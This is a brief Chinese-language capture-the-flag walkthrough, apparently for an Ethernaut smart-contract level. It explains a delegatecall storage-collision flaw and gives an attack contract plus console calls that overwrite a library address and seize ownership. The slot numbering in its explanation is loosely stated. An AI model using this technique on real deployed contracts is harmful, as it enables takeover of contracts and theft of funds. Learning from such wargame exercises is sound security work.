本關的關卡合約錯誤調用delegatecall函數。因delegatecall函數多數是為了方便調用Library裏的函數,故使用delegatecall時上下文不會改變,而是直接使用原合約的上下文。
觀看LibraryContract的代碼︰
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
當使用delegatecall呼叫setTime函數時,由於上下文為原合約上下文,因此storedTime = _time一句更改的會是原合約Storage的Slot 1裏的數值。
觀看關卡合約的代碼,Storage的Slot 1 放的是timeZone1Library的地址,亦即我們可以透過呼叫setFirstTime函數,修改timeZone1Library成任意合約的地址,亦即修改成我們的攻擊合約的地址。
當關卡合約再次呼叫setFirstTime,便會運行攻擊合約中的setTime函數,此時我們己取得控制權,可以同樣原理修改owner成player的地址。
打開Remix IDE,新建檔案Preservation.sol貼上︰
pragma solidity ^0.8.0;
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256 player) public {
owner = address(uint160(player));
}
}
發佈合約後複製合約地址,打開Console (F12),輸入︰
> contract.setFirstTime(攻擊合約地址)
> contract.setFirstTime(player)
最後按提交,本關完成。